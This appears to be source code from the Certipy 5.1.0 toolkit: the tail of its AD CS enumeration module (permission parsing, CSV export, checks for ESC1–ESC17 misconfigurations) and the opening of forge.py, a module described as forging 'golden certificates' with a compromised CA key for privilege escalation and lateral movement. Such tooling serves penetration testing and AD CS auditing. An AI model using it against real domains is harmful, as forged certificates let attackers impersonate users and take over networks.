This function transforms nested certificate templates data into a flattened CSV format.
It handles complex nested structures like permissions and lists in a way that makes them
readable in CSV format.
Args:
output: Dictionary containing certificate template data (from get_output_for_text_and_json)
Returns:
String containing CSV-formatted data
Raises:
ValueError: If certificate template data is malformed or missing
"""
# Column order for the CSV output (determines which fields to include and their order)
column_order = [
"Template Name",
"Display Name",
"Certificate Authorities",
"Enabled",
"Client Authentication",
"Enrollment Agent",
"Any Purpose",
"Enrollee Supplies Subject",
"Certificate Name Flag",
"Enrollment Flag",
"Private Key Flag",
"Extended Key Usage",
"Requires Manager Approval",
"Requires Key Archival",
"Authorized Signatures Required",
"Validity Period",
"Renewal Period",
"Minimum RSA Key Length",
"Enrollment Permissions",
"Owner",
"Write Owner Principals",
"Write Dacl Principals",
"Write Property Principals",
"[!] Vulnerabilities",
]
# Create CSV writer with semicolon delimiter and quote all fields
csvfile = io.StringIO(newline="")
writer = csv.DictWriter(
csvfile,
fieldnames=column_order,
extrasaction="ignore", # Ignore fields not in column_order
delimiter=";",
quoting=csv.QUOTE_ALL,
)
# Write header row
writer.writeheader()
# Check if we have valid template data
if not isinstance(output.get("Certificate Templates"), dict):
logging.warning("No certificate templates data available for CSV export")
return csvfile.getvalue()
try:
# Process each template and flatten its structure
template_rows = [
self._flatten_template_data(output["Certificate Templates"][id_])
for id_ in output["Certificate Templates"]
]
# Write all rows to CSV
writer.writerows(template_rows)
return csvfile.getvalue()
except Exception as e:
logging.error(f"Error generating CSV data: {e}")
handle_error()
return csvfile.getvalue()
def _flatten_template_data(self, template_entry: Dict[str, Any]) -> Dict[str, str]:
"""
Flatten a nested template dictionary for CSV output.
Handles special cases like permissions dictionaries, nested objects,
and list values by converting them to appropriate string representations.
Args:
template_entry: Dictionary containing template data
Returns:
Flattened dictionary with string values suitable for CSV
"""
items = []
# Process each field in the template
for key, value in template_entry.items():
# Handle permissions specially
if "Permissions" in key and isinstance(value, dict):
for section_name, section_data in value.items():
if "Enrollment Permissions" in section_name:
# Extract enrollment rights
if (
isinstance(section_data, dict)
and "Enrollment Rights" in section_data
):
items.append(
(
section_name,
"\n".join(section_data["Enrollment Rights"]),
)
)
elif "Object Control Permissions" in section_name:
# Process each permission type
for perm_name, principals in section_data.items():
if isinstance(principals, list):
items.append((perm_name, "\n".join(principals)))
else:
items.append((perm_name, str(principals)))
# Handle dictionaries (convert to "key: value" format)
elif isinstance(value, dict):
formatted_value = ", ".join([f"{k}: {v}" for k, v in value.items()])
items.append((key, formatted_value))
# Handle lists (join with newlines for better CSV reading)
elif isinstance(value, list):
items.append((key, "\n".join(map(str, value))))
# Handle simple values
else:
items.append((key, str(value) if value is not None else ""))
return dict(items)
# =========================================================================
# Property Extraction Methods
# =========================================================================
def get_template_properties(
self, template: LDAPEntry, template_properties: Optional[Dict[str, Any]] = None
) -> Dict[str, Any]:
"""
Extract template properties for output.
Args:
template: Certificate template
template_properties: Optional existing properties dictionary
Returns:
Dictionary of template properties
"""
# Map of template properties to display names
properties_map = {
"cn": "Template Name",
"displayName": "Display Name",
"cas": "Certificate Authorities",
"enabled": "Enabled",
"client_authentication": "Client Authentication",
"enrollment_agent": "Enrollment Agent",
"any_purpose": "Any Purpose",
"enrollee_supplies_subject": "Enrollee Supplies Subject",
"certificate_name_flag": "Certificate Name Flag",
"enrollment_flag": "Enrollment Flag",
"private_key_flag": "Private Key Flag",
"extended_key_usage": "Extended Key Usage",
"requires_manager_approval": "Requires Manager Approval",
"requires_key_archival": "Requires Key Archival",
"application_policies": "RA Application Policies",
"authorized_signatures_required": "Authorized Signatures Required",
"schema_version": "Schema Version",
"validity_period": "Validity Period",
"renewal_period": "Renewal Period",
"msPKI-Minimal-Key-Size": "Minimum RSA Key Length",
"whenCreated": "Template Created",
"whenChanged": "Template Last Modified",
"msPKI-Certificate-Policy": "Issuance Policies",
"issuance_policies_linked_groups": "Linked Groups",
}
# Create properties dictionary
if template_properties is None:
template_properties = OrderedDict()
# Extract properties that exist
for property_key, display_name in properties_map.items():
property_value = template.get(property_key)
if property_value is not None:
template_properties[display_name] = property_value
return template_properties
def get_ca_properties(
self, ca: LDAPEntry, ca_properties: Optional[Dict[str, Any]] = None
) -> Dict[str, Any]:
"""
Extract CA properties for output.
Args:
ca: Certificate authority
ca_properties: Optional existing properties dictionary
Returns:
Dictionary of CA properties
"""
# Map of CA properties to display names
properties_map = {
"name": "CA Name",
"dNSHostName": "DNS Name",
"cACertificateDN": "Certificate Subject",
"serial_number": "Certificate Serial Number",
"validity_start": "Certificate Validity Start",
"validity_end": "Certificate Validity End",
"web_enrollment": "Web Enrollment",
"user_specified_san": "User Specified SAN",
"request_disposition": "Request Disposition",
"enforce_encrypt_icertrequest": "Enforce Encryption for Requests",
"active_policy": "Active Policy",
"disabled_extensions": "Disabled Extensions",
}
# Create properties dictionary
if ca_properties is None:
ca_properties = OrderedDict()
# Extract properties that exist
for property_key, display_name in properties_map.items():
property_value = ca.get(property_key)
if property_value is not None:
ca_properties[display_name] = property_value
return ca_properties
def get_oid_properties(
self, oid: LDAPEntry, oid_properties: Optional[Dict[str, Any]] = None
) -> Dict[str, Any]:
"""
Extract OID properties for output.
Args:
oid: Issuance policy object
oid_properties: Optional existing properties dictionary
Returns:
Dictionary of OID properties
"""
# Map of OID properties to display names
properties_map = {
"cn": "Issuance Policy Name",
"displayName": "Display Name",
"templates": "Certificate Template(s)",
"linked_group": "Linked Group",
}
# Create properties dictionary
if oid_properties is None:
oid_properties = OrderedDict()
# Extract properties that exist
for property_key, display_name in properties_map.items():
property_value = oid.get(property_key)
if property_value is not None:
oid_properties[display_name] = property_value
return oid_properties
# =========================================================================
# Permission Extraction Methods
# =========================================================================
def get_template_permissions(self, template: LDAPEntry) -> Dict[str, Any]:
"""
Extract template permissions for output.
Args:
template: Certificate template
Returns:
Dictionary of template permissions
"""
security = CertificateSecurity(template.get("nTSecurityDescriptor"))
permissions = {}
# Process enrollment permissions
enrollment_permissions = {}
enrollment_rights = []
all_extended_rights = []
for sid, rights in security.aces.items():
# Skip admin principals if requested
if self.hide_admins and is_admin_sid(sid):
continue
# Check for Enroll right
has_enroll = (rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT) and (
EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"]
)
if has_enroll:
enrollment_rights.append(self.connection.lookup_sid(sid).get("name"))
# Check for All-Extended-Rights
has_all_rights = (
rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT
) and (
EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"]
in rights["extended_rights"]
)
if has_all_rights:
all_extended_rights.append(self.connection.lookup_sid(sid).get("name"))
# Add enrollment rights
if enrollment_rights:
enrollment_permissions["Enrollment Rights"] = enrollment_rights
# Add all extended rights
if all_extended_rights:
enrollment_permissions["All Extended Rights"] = all_extended_rights
# Add enrollment permissions
if enrollment_permissions:
permissions["Enrollment Permissions"] = enrollment_permissions
# Process object control permissions
object_control_permissions = {}
# Add owner
if not self.hide_admins or not is_admin_sid(security.owner):
object_control_permissions["Owner"] = self.connection.lookup_sid(
security.owner
).get("name")
# Add rights mappings
rights_mapping = [
(CertificateRights.GENERIC_ALL, [], "Full Control Principals"),
(CertificateRights.WRITE_OWNER, [], "Write Owner Principals"),
(CertificateRights.WRITE_DACL, [], "Write Dacl Principals"),
]
# Process write property permissions
write_permissions = {}
for sid, rights in security.aces.items():
# Skip admin principals if requested
if self.hide_admins and is_admin_sid(sid):
continue
# Get rights information
extended_rights = rights["extended_rights"]
ad_rights = rights["rights"]
principal_name = self.connection.lookup_sid(sid).get("name")
# Check for each standard right type
for right, principal_list, _ in rights_mapping:
if right in ad_rights and (
ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT
):
principal_list.append(principal_name)
# Check for write property rights
can_write_property = (CertificateRights.WRITE_PROPERTY in ad_rights) and (
ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT
)
if can_write_property:
for extended_right in extended_rights:
# Resolve extended right name
resolved_right = EXTENDED_RIGHTS_MAP.get(
extended_right, extended_right
)
# Add principal to the list for this right
principal_list = write_permissions.get(resolved_right, [])
if principal_name not in principal_list:
principal_list.append(principal_name)
write_permissions[resolved_right] = principal_list
# Add write property rights
for extended_right, principal_list in write_permissions.items():
rights_mapping.append(
(
CertificateRights.WRITE_PROPERTY,
principal_list,
f"Write Property {extended_right}",
)
)
# Add all rights to permissions
for _, principal_list, name in rights_mapping:
if principal_list:
object_control_permissions[name] = principal_list
# Add object control permissions
if object_control_permissions:
permissions["Object Control Permissions"] = object_control_permissions
return permissions
def get_ca_permissions(self, ca: LDAPEntry) -> Dict[str, Any]:
"""
Extract CA permissions for output.
Args:
ca: Certificate authority
Returns:
Dictionary of CA permissions
"""
security = ca.get("security")
if security is None:
return {}
ca_permissions = {}
access_rights = {}
# Add owner
if not self.hide_admins or not is_admin_sid(security.owner):
ca_permissions["Owner"] = self.connection.lookup_sid(security.owner).get(
"name"
)
# Process ACEs
for sid, rights in security.aces.items():
# Skip admin principals if requested
if self.hide_admins and is_admin_sid(sid):
continue
# Get principal name
principal_name = self.connection.lookup_sid(sid).get("name")
# Get list of rights
ca_rights = rights["rights"].to_list()
# Add each right to the access rights dictionary
for ca_right in ca_rights:
if ca_right not in access_rights:
access_rights[ca_right] = [principal_name]
else:
access_rights[ca_right].append(principal_name)
# Add access rights
if access_rights:
ca_permissions["Access Rights"] = access_rights
return ca_permissions
def get_oid_permissions(self, oid: LDAPEntry) -> Dict[str, Any]:
"""
Extract OID permissions for output.
Args:
oid: Issuance policy object
Returns:
Dictionary of OID permissions
"""
nt_security_descriptor = oid.get("nTSecurityDescriptor")
if nt_security_descriptor is None:
return {}
security = IssuancePolicySecurity(nt_security_descriptor)
oid_permissions = {}
access_rights = {}
# Add owner
if not self.hide_admins or not is_admin_sid(security.owner):
oid_permissions["Owner"] = self.connection.lookup_sid(security.owner).get(
"name"
)
# Process ACEs
for sid, rights in security.aces.items():
# Skip admin principals if requested
if self.hide_admins and is_admin_sid(sid):
continue
# Get principal name
principal_name = self.connection.lookup_sid(sid).get("name")
# Get list of rights
oid_rights = rights["rights"].to_list()
# Add each right to the access rights dictionary
for oid_right in oid_rights:
if oid_right not in access_rights:
access_rights[oid_right] = [principal_name]
else:
access_rights[oid_right].append(principal_name)
# Add access rights
if access_rights:
oid_permissions["Access Rights"] = access_rights
return oid_permissions
# =========================================================================
# Vulnerability Detection Methods
# =========================================================================
def get_template_vulnerabilities(
self, template: LDAPEntry
) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]:
"""
Detect vulnerabilities in certificate templates.
This method checks for various Enterprise Security Configuration (ESC) vulnerabilities:
- ESC1: Client authentication template with enrollee-supplied subject
- ESC2: Template that allows any purpose
- ESC3: Template with Certificate Request Agent EKU or vulnerable configuration
- ESC4: Template with dangerous permissions or owned by current user
- ESC9: Template with no security extension
- ESC13: Template linked to a group through issuance policy
- ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019)
- ESC17: Server authentication template with enrollee-supplied subject
Args:
template: Certificate template to analyze
Returns:
Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals
"""
# Return cached vulnerabilities if already processed
if template.get("vulnerabilities"):
return template.get("vulnerabilities")
vulnerabilities = {}
remarks = {}
enrollable_principals = []
acl_principals = []
user_can_enroll, enrollable_sids = self.can_user_enroll_in_template(template)
is_enabled = template.get("enabled", False)
# Skip enrollment-based vulnerability checks if user can't enroll or
# if template requires approval or signatures
requires_approval = (
template.get("requires_manager_approval")
or template.get("authorized_signatures_required", 0) > 0
)
if is_enabled and user_can_enroll:
enrollable_principals = self.format_principals(enrollable_sids)
if not requires_approval:
# ESC1: Client authentication with enrollee-supplied subject
if template.get("enrollee_supplies_subject") and template.get(
"client_authentication"
):
vulnerabilities["ESC1"] = (
f"Enrollee supplies subject "
"and template allows client authentication."
)
# ESC2: Any purpose template
if template.get("any_purpose"):
vulnerabilities["ESC2"] = f"Template can be used for any purpose."
# ESC3: Certificate Request Agent
if template.get("enrollment_agent"):
vulnerabilities["ESC3"] = (
f"Template has Certificate Request Agent EKU set."
)
# ESC9: No security extension
if template.get("no_security_extension") and template.get(
"client_authentication"
):
vulnerabilities["ESC9"] = f"Template has no security extension."
remarks["ESC9"] = (
"Other prerequisites may be required for this to be exploitable. See "
"the wiki for more details."
)
# ESC13: Template with issuance policy linked to a group
if (
template.get("client_authentication")
and template.get("msPKI-Certificate-Policy")
and template.get("issuance_policies_linked_groups")
):
groups = template.get("issuance_policies_linked_groups")
if not isinstance(groups, list):
groups = [groups]
if len(groups) == 1:
vulnerabilities["ESC13"] = (
f"Template allows client authentication "
f"and issuance policy is linked to group {groups[0]!r}."
)
else:
vulnerabilities["ESC13"] = (
f"Template allows client authentication "
f"and issuance policy is linked to groups {groups!r}."
)
# ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019)
if (
template.get("enrollee_supplies_subject")
and template.get("schema_version") == 1
):
vulnerabilities["ESC15"] = (
f"Enrollee supplies subject and " "schema version is 1."
)
remarks["ESC15"] = (
f"Only applicable if the environment has not been patched. "
"See CVE-2024-49019 or the wiki for more details."
)
# ESC17: Server authentication with enrollee-supplied subject
if template.get("enrollee_supplies_subject") and template.get(
"server_authentication"
):
vulnerabilities["ESC17"] = (
f"Enrollee supplies subject "
"and template allows server authentication."
)
remarks["ESC17"] = (
"Other prerequisites may be required for this to be exploitable. See "
"the wiki for more details."
)
# ESC2 Target: Schema v1 or requires Any Purpose signature
if template.get("client_authentication") and (
template.get("schema_version") == 1
or (
template.get("schema_version") > 1
and template.get("authorized_signatures_required") > 0
and template.get("application_policies") is not None
and "Any Purpose" in template.get("application_policies")
)
):
reason = "has schema version 1"
if template.get("schema_version") != 1:
reason = (
"requires a signature with the Any Purpose application policy"
)
remarks["ESC2 Target Template"] = (
"Template can be targeted as part of ESC2 exploitation. This is not a vulnerability "
f"by itself. See the wiki for more details. Template {reason}."
)
# ESC3 Target: Schema v1 or requires Certificate Request Agent signature
if template.get("client_authentication") and (
template.get("schema_version") == 1
or (
template.get("schema_version") > 1
and template.get("authorized_signatures_required") > 0
and template.get("application_policies") is not None
and "Certificate Request Agent"
in template.get("application_policies")
)
):
reason = "has schema version 1"
if template.get("schema_version") != 1:
reason = "requires a signature with the Certificate Request Agent application policy"
remarks["ESC3 Target Template"] = (
"Template can be targeted as part of ESC3 exploitation. This is not a vulnerability "
f"by itself. See the wiki for more details. Template {reason}."
)
# ESC4: Template ownership or vulnerable ACL
security = CertificateSecurity(template.get("nTSecurityDescriptor"))
user_sids = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
# Check if user owns the template
if security.owner in user_sids:
owner_name = self.connection.lookup_sid(security.owner).get("name")
acl_principals = [owner_name]
vulnerabilities["ESC4"] = f"Template is owned by user."
else:
# Check for vulnerable permissions if not already owner
has_vulnerable_acl, vulnerable_acl_sids = self.template_has_vulnerable_acl(
template
)
acl_principals = self.format_principals(vulnerable_acl_sids)
if has_vulnerable_acl:
vulnerabilities["ESC4"] = "User has dangerous permissions."
return (vulnerabilities, remarks, enrollable_principals, acl_principals)
def template_has_vulnerable_acl(
self, template: LDAPEntry
) -> Tuple[bool, List[str]]:
"""
Check if the template has vulnerable permissions for the current user.
Args:
template: Certificate template to analyze
Returns:
Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)
"""
security = CertificateSecurity(template.get("nTSecurityDescriptor"))
user_sids = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
vulnerable_acl_sids = []
has_vulnerable_acl = False
# Check ACEs for vulnerable permissions
for sid, rights in security.aces.items():
# Skip if not related to current user
if sid not in user_sids:
continue
ad_rights = rights["rights"]
ad_extended_rights = rights["extended_rights"]
# Check for dangerous permissions
dangerous_rights = [
CertificateRights.GENERIC_ALL,
CertificateRights.WRITE_OWNER,
CertificateRights.WRITE_DACL,
CertificateRights.GENERIC_WRITE,
]
if any(right in ad_rights for right in dangerous_rights):
vulnerable_acl_sids.append(sid)
has_vulnerable_acl = True
continue
# WRITE_PROPERTY is only dangerous if you can write the entire object
if (
CertificateRights.WRITE_PROPERTY in ad_rights
and "00000000-0000-0000-0000-000000000000" in ad_extended_rights
and ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT
):
vulnerable_acl_sids.append(sid)
has_vulnerable_acl = True
return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs
def can_user_enroll_in_template(
self, template: LDAPEntry
) -> Tuple[bool, List[str]]:
"""
Check if the current user can enroll in the template.
Args:
template: Certificate template to analyze
Returns:
Tuple of (can_enroll, list_of_enrollable_sids)
"""
security = CertificateSecurity(template.get("nTSecurityDescriptor"))
user_sids = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
enrollable_sids = []
user_can_enroll = False
# Check ACEs for enrollment rights per MS-CRTD rules
for sid, rights in security.aces.items():
if sid not in user_sids:
continue
# Rule 1: ACCESS_ALLOWED_OBJECT_ACE with control access and ObjectType == Enroll GUID
has_object_enroll = (
EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"]
and rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT
)
# Preserve behavior: All-Extended-Rights also implies enrollment
has_all_extended = (
EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"]
in rights["extended_rights"]
and rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT
)
# Rule 2: ACCESS_ALLOWED_ACE with control access bit set (0x00000100)
# Captured by security parser as 'has_standard_control_access'
has_standard_control_access = rights.get(
"has_standard_control_access", False
)
if (
has_object_enroll
or has_all_extended
or has_standard_control_access
or (CertificateRights.GENERIC_ALL in rights["rights"])
):
enrollable_sids.append(sid)
user_can_enroll = True
return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs
def get_ca_vulnerabilities(
self, ca: LDAPEntry
) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]:
"""
Detect vulnerabilities in certificate authorities.
This method checks for various Enterprise Security Configuration (ESC) vulnerabilities:
- ESC6: CA allows user-specified SAN and auto-issues certificates
- ESC7: CA with dangerous permissions
- ESC8: Insecure web enrollment
- ESC11: Unencrypted certificate requests
Args:
ca: Certificate authority to analyze
Returns:
Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals
"""
# Return cached vulnerabilities if already processed
if ca.get("vulnerabilities"):
return ca.get("vulnerabilities")
vulnerabilities = {}
remarks = {}
acl_principals = []
request_disposition = ca.get("request_disposition")
will_issue = request_disposition in ["Issue", "Unknown"]
user_can_enroll, enrollable_sids = self.can_user_enroll_in_ca(ca)
enrollable_principals = self.format_principals(enrollable_sids)
# ESC6: User-specified SAN with auto-issuance
if ca.get("user_specified_san") == "Enabled" and will_issue and user_can_enroll:
vulnerabilities["ESC6"] = "Enrollee can specify SAN."
remarks["ESC6"] = (
"Other prerequisites may be required for this to be exploitable. See "
"the wiki for more details."
)
policy = ca.get("active_policy")
if (
policy
and policy != "CertificateAuthority_MicrosoftDefault.Policy"
and policy != "Unknown"
):
remarks["Policy"] = "Not using the built-in Microsoft default policy."
# ESC7: CA with dangerous permissions
has_vulnerable_acl, vulnerable_acl_sids = self.ca_has_vulnerable_acl(ca)
if has_vulnerable_acl:
acl_principals = self.format_principals(vulnerable_acl_sids)
vulnerabilities["ESC7"] = f"User has dangerous permissions."
# ESC8: Insecure web enrollment
web_enrollment = ca.get("web_enrollment")
if web_enrollment and will_issue:
http_enabled = (
web_enrollment["http"] is not None
and web_enrollment["http"]["enabled"]
and web_enrollment["http"]["enabled"] != "Unknown"
)
https_enabled = (
web_enrollment["https"] is not None
and web_enrollment["https"]["enabled"]
and web_enrollment["https"]["enabled"] != "Unknown"
)
channel_binding_enforced = (
web_enrollment["https"] is not None
and web_enrollment["https"]["channel_binding"]
)
# Determine vulnerability based on protocol and channel binding
if http_enabled and https_enabled and not channel_binding_enforced:
vulnerabilities["ESC8"] = (
f"Web Enrollment is enabled over HTTP and HTTPS, and Channel Binding is disabled."
)
elif http_enabled:
vulnerabilities["ESC8"] = f"Web Enrollment is enabled over HTTP."
elif https_enabled and not channel_binding_enforced:
vulnerabilities["ESC8"] = (
f"Web Enrollment is enabled over HTTPS and Channel Binding is disabled."
)
elif https_enabled and channel_binding_enforced == "Unknown":
remarks["ESC8"] = (
"Channel Binding couldn't be verified for HTTPS Web Enrollment. "
"For manual verification, request a certificate via HTTPS with Channel Binding disabled "
"and observe if the request succeeds or is rejected."
)
# ESC11: Unencrypted certificate requests
if ca.get("enforce_encrypt_icertrequest") == "Disabled" and will_issue:
vulnerabilities["ESC11"] = (
"Encryption is not enforced for ICPR (RPC) requests."
)
# ESC16: Security extension disabled (similar to ESC9)
disabled_extensions = ca.get("disabled_extensions")
if disabled_extensions and will_issue and user_can_enroll:
if "1.3.6.1.4.1.311.25.2" in disabled_extensions:
vulnerabilities["ESC16"] = "Security Extension is disabled."
remarks["ESC16"] = (
"Other prerequisites may be required for this to be exploitable. See "
"the wiki for more details."
)
return (vulnerabilities, remarks, enrollable_principals, acl_principals)
def ca_has_vulnerable_acl(self, ca: LDAPEntry) -> Tuple[bool, List[str]]:
"""
Check if the CA has vulnerable permissions for the current user.
Args:
ca: Certificate authority to analyze
Returns:
Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)
"""
has_vulnerable_acl = False
vulnerable_acl_sids = []
security = ca.get("security")
if security is None:
return has_vulnerable_acl, vulnerable_acl_sids
user_sids = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
# Check ACEs for vulnerable permissions
for sid, rights in security.aces.items():
# Skip if not related to current user
if sid not in user_sids:
continue
ad_rights = rights["rights"]
# Check for dangerous CA permissions
dangerous_rights = [
CertificateAuthorityRights.MANAGE_CA,
CertificateAuthorityRights.MANAGE_CERTIFICATES,
]
if any(right in ad_rights for right in dangerous_rights):
vulnerable_acl_sids.append(sid)
has_vulnerable_acl = True
return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs
def can_user_enroll_in_ca(self, ca: LDAPEntry) -> Tuple[Optional[bool], List[str]]:
"""
Check if the current user can enroll in the CA.
Args:
ca: CA to analyze
Returns:
Tuple of (can_enroll, list_of_enrollable_sids)
"""
security = ca.get("security")
if security is None:
return None, []
user_sids = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
enrollable_sids = []
user_can_enroll = False
# Process ACEs
for sid, rights in security.aces.items():
if sid not in user_sids:
continue
if CertificateAuthorityRights.ENROLL in rights["rights"]:
enrollable_sids.append(sid)
user_can_enroll = True
return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs
def get_oid_vulnerabilities(
self, oid: LDAPEntry
) -> Tuple[Dict[str, str], List[str]]:
"""
Detect vulnerabilities in issuance policy OIDs.
This method checks for Enterprise Security Configuration (ESC) vulnerabilities:
- ESC13: OID with dangerous permissions or owned by current user
Args:
oid: Issuance policy OID to analyze
Returns:
Tuple of detected vulnerabilities and ACL principals
"""
# Return cached vulnerabilities if already processed
if oid.get("vulnerabilities"):
return oid.get("vulnerabilities")
vulnerabilities = {}
acl_principals = []
# ESC13: OID ownership or vulnerable ACL
security = IssuancePolicySecurity(oid.get("nTSecurityDescriptor"))
user_sids = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
# Check if user owns the OID
if security.owner in user_sids:
owner_name = self.connection.lookup_sid(security.owner).get("name")
acl_principals = [owner_name]
vulnerabilities["ESC13"] = f"Issuance Policy OID is owned by user."
else:
# Check for vulnerable permissions if not already owner
has_vulnerable_acl, vulnerable_acl_sids = self.oid_has_vulnerable_acl(oid)
if has_vulnerable_acl:
acl_principals = self.format_principals(vulnerable_acl_sids)
vulnerabilities["ESC13"] = f"User has dangerous permissions."
return (vulnerabilities, acl_principals)
def oid_has_vulnerable_acl(self, oid: LDAPEntry) -> Tuple[bool, List[str]]:
"""
Check if the OID has vulnerable permissions for the current user.
Args:
oid: Issuance policy OID to analyze
Returns:
Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)
"""
security = IssuancePolicySecurity(oid.get("nTSecurityDescriptor"))
user_sids = self.connection.get_user_sids(
self.target.username, self.sid, self.dn
)
vulnerable_acl_sids = []
has_vulnerable_acl = False
# Check ACEs for vulnerable permissions
for sid, rights in security.aces.items():
# Skip if not related to current user
if sid not in user_sids:
continue
ad_rights = rights["rights"]
# Check for dangerous OID permissions
dangerous_rights = [
IssuancePolicyRights.GENERIC_ALL,
IssuancePolicyRights.WRITE_OWNER,
IssuancePolicyRights.WRITE_DACL,
IssuancePolicyRights.WRITE_PROPERTY,
]
if any(right in ad_rights for right in dangerous_rights):
vulnerable_acl_sids.append(sid)
has_vulnerable_acl = True
return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs
def format_principals(self, sids: List[str]) -> List[str]:
"""
Format a list of SIDs into a human-readable string.
Args:
sids: List of SIDs to format
Returns:
List of principal names
"""
return [self.connection.lookup_sid(sid).get("name") for sid in sids]
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the 'find' command.
Args:
options: Command-line arguments
"""
target = Target.from_options(options, dc_as_target=True)
options.__delattr__("target")
find = Find(target=target, **vars(options))
find.find()
Certipy-5.1.0/certipy/commands/forge.py 0000775 0000000 0000000 00000062127 15216574665 0020124 0 ustar 00root root 0000000 0000000 """
Certificate Forgery (aka Golden Certificates) Module for Certipy.
This module allows forging certificates by signing them with a compromised CA private key.
It supports several features:
- Creating certificates with custom subject alternative names (UPN, DNS)
- Including SID extensions for domain authentication
- Using existing certificates as templates
- Customizing certificate validity periods and serial numbers
- Adding CRL distribution points
This is useful for privilege escalation and lateral movement scenarios where a CA
certificate and private key have been compromised.
"""
import argparse
import datetime
from pathlib import Path
from typing import List, Optional, Tuple, Union, cast
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.types import (
CertificateIssuerPrivateKeyTypes,
CertificateIssuerPublicKeyTypes,
PrivateKeyTypes,
)
from pyasn1.codec.der import encoder
from certipy.lib.certificate import (
APPLICATION_POLICIES,
NTDS_CA_SECURITY_EXT,
OID_NTDS_OBJECTSID,
PRINCIPAL_NAME,
SAN_URL_PREFIX,
SMIME_CAPABILITIES,
SMIME_MAP,
UTF8String,
asn1x509,
cert_id_to_parts,
create_pfx,
generate_rsa_key,
get_subject_from_str,
load_pfx,
x509,
)
from certipy.lib.constants import OID_TO_STR_NAME_MAP
from certipy.lib.errors import handle_error
from certipy.lib.files import try_to_save_file
from certipy.lib.logger import logging
# List of secure hash algorithms
AllowedSignatureAlgorithms = Union[
hashes.SHA224,
hashes.SHA256,
hashes.SHA384,
hashes.SHA512,
hashes.SHA3_224,
hashes.SHA3_256,
hashes.SHA3_384,
hashes.SHA3_512,
]
class Forge:
"""
Certificate forgery class for creating and signing custom certificates.
This class provides functionality to forge certificates by signing them with
a compromised CA private key, allowing creation of certificates with custom
properties that can be used for authentication in Active Directory environments.
"""
def __init__(
self,
ca_pfx: Optional[str] = None,
ca_password: Optional[str] = None,
upn: Optional[str] = None,
dns: Optional[str] = None,
sid: Optional[str] = None,
subject: Optional[str] = None,
template: Optional[str] = None,
application_policies: Optional[List[str]] = None,
smime: Optional[str] = None,
issuer: Optional[str] = None,
crl: Optional[str] = None,
serial: Optional[str] = None,
key_size: int = 2048,
validity_period: int = 365,
out: Optional[str] = None,
pfx_password: Optional[str] = None,
**kwargs, # type: ignore
):
"""
Initialize the certificate forgery parameters.
Args:
ca_pfx: Path to the CA certificate/private key in PFX format
ca_password: Password for the CA PFX file
upn: User Principal Name for the certificate (e.g., user@domain.com)
dns: DNS name for the certificate (e.g., computer.domain.com)
sid: Security Identifier to include in the certificate
subject: Subject name (in DN format) for the certificate
template: Path to an existing certificate to use as a template
application_policies: List of application policy OIDs
smime: SMIME capability identifier
issuer: Issuer name (in DN format) for the certificate
crl: URI for the CRL distribution point
serial: Custom serial number (in hex format, colons optional)
key_size: RSA key size in bits for new certificates
validity_period: Validity period in days for new certificates
out: Output file path for the forged certificate
pfx_password: Password for the PFX file
kwargs: Additional arguments (not used)
"""
self.ca_pfx = ca_pfx
self.ca_password = ca_password.encode() if ca_password else None
self.alt_upn = upn
self.alt_dns = dns
self.alt_sid = sid
self.subject = subject
self.template = template
self.issuer = issuer
self.crl = crl
self.serial = serial
self.key_size = key_size
self.validity_period = validity_period
self.out = out
self.pfx_password = pfx_password
self.kwargs = kwargs
# Convert application policy names to OIDs
self.application_policies = [
OID_TO_STR_NAME_MAP.get(policy.lower(), policy)
for policy in (application_policies or [])
]
self.smime = smime
def get_serial_number(self) -> int:
"""
Get the certificate serial number.
Returns:
Integer representation of the serial number
"""
if self.serial is None:
return x509.random_serial_number()
# Clean up colons if present and convert hex to int
return int(self.serial.replace(":", ""), 16)
def get_crl(
self, crl: Optional[str] = None
) -> Optional[x509.CRLDistributionPoints]:
"""
Create a CRL distribution point extension.
Args:
crl: URI of the CRL distribution point (defaults to self.crl)
Returns:
CRL distribution points extension or None if no CRL specified
"""
if crl is None:
crl = self.crl
if not crl:
return None
return x509.CRLDistributionPoints(
[
x509.DistributionPoint(
full_name=[x509.UniformResourceIdentifier(crl)],
relative_name=None,
reasons=None,
crl_issuer=None,
)
]
)
def load_ca_certificate_and_key(
self,
) -> Tuple[CertificateIssuerPrivateKeyTypes, x509.Certificate]:
"""
Load the CA certificate and private key from the PFX file.
Returns:
Tuple of (CA private key, CA certificate)
Raises:
ValueError: If CA PFX file is not specified
FileNotFoundError: If CA PFX file does not exist
Exception: If loading the CA certificate or private key fails
"""
if not self.ca_pfx:
raise ValueError("CA PFX file is required")
ca_pfx_path = Path(self.ca_pfx)
